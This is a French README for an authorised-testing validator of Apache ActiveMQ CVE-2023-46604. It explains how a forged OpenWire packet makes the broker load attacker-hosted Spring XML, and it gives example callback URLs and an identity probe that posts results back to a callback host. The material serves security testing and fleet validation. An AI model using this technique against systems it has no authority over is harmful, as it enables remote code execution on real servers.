
Validateur non destructif pour Apache ActiveMQ CVE-2023-46604. Envoie des paquets OpenWire spécialement conçus, utilise un serveur de rappel HTTP pour confirmer l'exécution de code à distance (RCE) ou le chargement XML, et génère des preuves CSV/JSON pour les tests d'intrusion autorisés.
Un validateur non destructif, en un seul fichier, pour Apache ActiveMQ CVE-2023-46604. Il démarre son propre serveur de rappel HTTP, génère en mémoire un XML Spring spécifique à la cible, envoie le paquet OpenWire forgé, corrèle les rappels avec des jetons uniques et écrit des preuves CSV/JSON.
Le projet est conçu pour les tests d'intrusion autorisés et la validation de flottes. Il n'implémente délibérément pas de shells inversés, d'exécution de commandes sans restriction, d'expansion CIDR, de persistance ou de préparation de charges utiles.
Deux modes de preuve fixes sont disponibles :
rce exécute une sonde d'identité fixe en lecture seule et renvoie sa sortie au serveur HTTP intégré. Un rappel confirme l'exécution de commandes du système d'exploitation dans le contexte du service ActiveMQ.xml sert un contexte Spring vide. Une récupération confirme que le message OpenWire forgé a amené la cible à instancier ClassPathXmlApplicationContext et à récupérer un XML contrôlé par l'attaquant, sans démarrer de processus.Aucun fichier XML ne doit être créé ou hébergé séparément.
--fail-on-vuln adapté à l'intégration continueLe port OpenWire par défaut est 61616, mais les ports non standard sont pris en charge.
Utilisez des adresses à titre de documentation uniquement dans les exemples ; remplacez-les par vos actifs autorisés.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
Le script démarre automatiquement le serveur de rappel sur TCP/8000, sert le XML généré, envoie le paquet OpenWire, attend les preuves, affiche un tableau de résultats et écrit :
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
Créez targets.txt :
# Un hôte explicitement autorisé par ligne
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
Exécutez :
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
Les fichiers de cibles peuvent contenir des lignes vides et des commentaires commençant par #. L'expansion CIDR n'est volontairement pas prise en charge ; énumérez explicitement l'inventaire autorisé.
Pour les réseaux routés simples, omettez --callback-host :
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
L'outil sélectionne l'adresse source locale utilisée pour router vers la première cible. Spécifiez --callback-host lors des tests via NAT, VPN, conteneurs, hôtes de rebond ou systèmes multi-hôtes.
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
La sonde Windows utilise une commande PowerShell fixe et non interactive pour renvoyer l'identité du service, le nom de l'ordinateur et la version du système d'exploitation. Elle ne fournit pas de shell interactif.
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
Ce mode n'instancie pas ProcessBuilder.
Utilisez une cible ssl:// :
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
Pour un écouteur interne avec un certificat non approuvé :
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify n'affecte que la connexion TLS OpenWire. Le serveur de rappel est en HTTP.
| Statut | Signification |
|---|---|
CONFIRMED_VULNERABLE_RCE | La cible a récupéré son XML et la commande d'identité fixe a renvoyé des preuves. |
CONFIRMED_VULNERABLE_XML_LOAD | En mode xml, la cible a récupéré le document XML unique. |
VULNERABLE_XML_LOAD_ONLY | En mode rce, la récupération XML a eu lieu mais le rappel de commande n'a pas eu lieu. Le chemin d'instanciation de classe vulnérable est confirmé ; les outils de rappel, la sortie réseau ou l'exécution de processus peuvent être restreints. |
NOT_CONFIRMED | Le paquet a été envoyé, mais aucune preuve HTTP corrélée n'est arrivée avant l'échéance. Ce n'est pas une preuve que l'hôte est corrigé. |
UNREACHABLE | La connexion TCP/TLS ou l'envoi du paquet a échoué. |
Un courtier corrigé, un port incorrect, un filtrage de sortie, des problèmes de routage, une incompatibilité TLS et des contrôles de point de terminaison peuvent tous affecter la validation par rappel. Conservez les horodatages CSV/JSON et la sortie de rappel comme preuves de rapport.
La sonde d'identité Linux renvoie une sortie similaire à :
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
Elle essaie curl, wget et BusyBox wget pour le POST HTTP. Si le XML est récupéré mais qu'aucun de ces clients n'est disponible, le résultat est VULNERABLE_XML_LOAD_ONLY plutôt qu'un faux négatif.
0 : validation terminée, ou des vulnérabilités ont été trouvées sans --fail-on-vuln2 : au moins un résultat vulnérable a été trouvé et --fail-on-vuln a été fourniExemple d'utilisation en CI :
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
CVE-2023-46604 affecte le démarshallement OpenWire Java. Le validateur envoie une ExceptionResponse OpenWire à marshalling lâche dont la classe d'exception est :
org.springframework.context.support.ClassPathXmlApplicationContext
Le message d'exception est l'URL unique du XML Spring généré. Le code ActiveMQ vulnérable instancie la classe sélectionnée par l'attaquant avec cette URL. En mode rce, le contexte Spring démarre une sonde ProcessBuilder fixe ; en mode xml, le contexte est vide.
Chaque cible reçoit un jeton différent, par exemple :
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
Cela permet d'attribuer les rappels simultanés à la bonne cible.